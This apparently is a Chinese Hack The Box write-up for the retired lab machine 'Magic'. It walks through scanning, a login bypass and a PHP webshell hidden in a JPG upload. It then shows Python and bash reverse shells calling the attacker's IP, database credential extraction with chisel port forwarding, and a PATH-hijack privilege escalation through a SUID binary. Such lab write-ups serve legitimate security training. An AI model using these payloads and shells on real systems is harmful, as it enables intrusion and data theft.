HTB-靶机-Magic

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.185

本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

信息枚举收集
https://github.com/codingo/Reconnoitre 跟autorecon类似
autorecon 10.10.10.185 -o ./Magic-autorecon

sudo nmap -sT -p- --min-rate 10000 -oA scans/alltcp 10.10.10.185
或者

sudo masscan -p1-65535,U:1-65535 10.10.10.185 --rate=1000 -p1-65535,U:1-65535 -e tun0 > ports
ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
sudo nmap -Pn -sV -sC -p$ports 10.10.10.185

HTB-靶机-Magic

访问80端口

HTB-靶机-Magic

看到一个Login页面

HTB-靶机-Magic

试了下默认口令不成功,试了万能密码,尼玛成功登录了

HTB-靶机-Magic

登录进去就是个上传图片的页面,测试了下可以上传图片格式的文件,但是上传带马的图片就不行,可以通过参考下面的文章进行绕过

https://en.wikipedia.org/wiki/List_of_file_signatures
https://httpd.apache.org/docs/2.4/glossary.html#media-type
https://httpd.apache.org/docs/2.4/mod/mod_mime.html

制作反弹shell的小马

echo 'FFD8FFDB' | xxd -r -p > webshell.php.jpg
echo '<?=`$_GET[0]`?>' >> webshell.php.jpg

上述制作完成就可以通过上面的上传页面直接上传上去了,成功之后直接写入反弹shell代码拿shell

下面是在浏览器*问的地址,然后可以反弹shell
http://10.10.10.185/images/uploads/webshell.php.jpg?0=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.16",8833));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

浏览器访问后的编码地址
http://10.10.10.185/images/uploads/webshell.php.jpg?0=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.14.16%22,8833));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27

升级tty-shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

HTB-靶机-Magic

在目标靶机上发现数据库的账户和密码

www-data@ubuntu:/var/www/Magic$ cat db.php5
<?php
class Database
{
    private static $dbName = 'Magic' ;
    private static $dbHost = 'localhost' ;
    private static $dbUsername = 'theseus';
    private static $dbUserPassword = 'iamkingtheseus';

尝试在靶机上使用mysql客户端连接,但提示没有安装,想办法将数据库端口转发到本地kali机器上,相关工具如下:

https://github.com/jpillora/chisel
https://github.com/jpillora/chisel/releases
具体步骤
1.在本地kali执行
./chisel server -p 8000 -reverse

2.在目标靶机上执行
./chisel client 10.10.14.16:8000 R:3306:127.0.0.1:3306 &

在本地kali连接mysql数据库

在本地kali连接mysql数据库
mysql -h 127.0.0.1 -P 3306 -u theseus -piamkingtheseus

执行下面操作指令获取账户和密码
show databases;
use Magic;
show tables;
select * from login;

执行结果:

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| Magic              |
+--------------------+
2 rows in set (0.256 sec)

MySQL [(none)]> use Magic
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [Magic]> show tables;
+-----------------+
| Tables_in_Magic |
+-----------------+
| login           |
+-----------------+
1 row in set (0.255 sec)

MySQL [Magic]> select * from login;
+----+----------+----------------+
| id | username | password       |
+----+----------+----------------+
|  1 | admin    | Th3s3usW4sK1ng |
+----+----------+----------------+
1 row in set (0.257 sec)

MySQL [Magic]>

HTB-靶机-Magic

直接使用上面得到的密码登录家目录下的用户theseus,成功登录之后查找目标靶机的suid文件进行提权

find / -perm -4000 -exec ls -l {} \; 2>/dev/null

找到下面一个二进制文件带权限s

-rwsr-x--- 1 root users 22040 Oct 21  2019 /bin/sysinfo
执行了一下上面的命令发现是收集系统相关信息的指令,使用strings查看下具体哪些指令
strings /bin/sysinfo
得到如下有用的内容
====================Hardware Info====================
lshw -short
====================Disk Info====================
fdisk -l
====================CPU Info====================
cat /proc/cpuinfo
====================MEM Usage=====================
free -h

上面可以通过劫持cat命令来提权

查看环境变量

theseus@ubuntu:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
theseus@ubuntu:~$

劫持环境变量,让执行cat命令的时候先执行/tmp/目录下的cat,在cat文件中写入反弹代码

使用echo快速写一个反弹shell
echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/10.10.14.16/8822 0>&1' > /tmp/cat

更改环境变量执行顺序
export PATH=/tmp:$PATH
echo $PATH

HTB-靶机-Magic

执行sysinfo命令触发劫持的cat命令反弹shell

HTB-靶机-Magic

上述执行之后,当执行到cat的时候卡住了

HTB-靶机-Magic

此时触发了反弹shell代码

HTB-靶机-Magic

上一篇:HTB-靶机-Book


下一篇:Kafka、RabbitMQ、RocketMQ 消息中间件的对比 | 消息发送性能篇